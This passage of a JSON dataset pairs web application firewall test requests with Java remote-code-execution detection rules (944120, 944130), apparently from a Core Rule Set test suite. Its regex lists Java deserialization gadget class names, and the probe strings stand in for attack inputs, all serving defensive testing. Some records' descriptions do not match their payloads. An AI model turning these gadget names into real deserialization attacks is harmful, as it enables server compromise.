"ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Argument name includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie test includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Cookie name includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Request header test includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><ProcessBuilder.evil.whileclosure attribute_name=\"attribute_value\">value</ProcessBuilder.evil.whileclosure></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element ProcessBuilder.evil.whileclosure=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute name includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"ProcessBuilder.evil.whileclosure\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML attribute value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.whileclosure</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "XML element value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">ProcessBuilder.evil.whileclosure</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Nested XML element value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=ProcessBuilder.evil.whileclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type text/plain includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"ProcessBuilder.evil.whileclosure\"}\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"ProcessBuilder.evil.whileclosure\": \"test\"}\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type application/json arg name includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.whileclosure\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg name includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"ProcessBuilder.evil.whileclosure\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data json arg value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.whileclosure</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">ProcessBuilder.evil.whileclosure</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944120", "test_description": "Content-Type multipart/form-data XML element value includes keyword ProcessBuilder.evil.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=com.opensymphony.xwork2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "com.opensymphony.xwork2=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"com.opensymphony.xwork2\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">com.opensymphony.xwork2</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">com.opensymphony.xwork2</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=com.opensymphony.xwork2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"com.opensymphony.xwork2\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"com.opensymphony.xwork2\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword com.opensymphony.xwork2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=com.sun.org.apache" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "com.sun.org.apache=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": 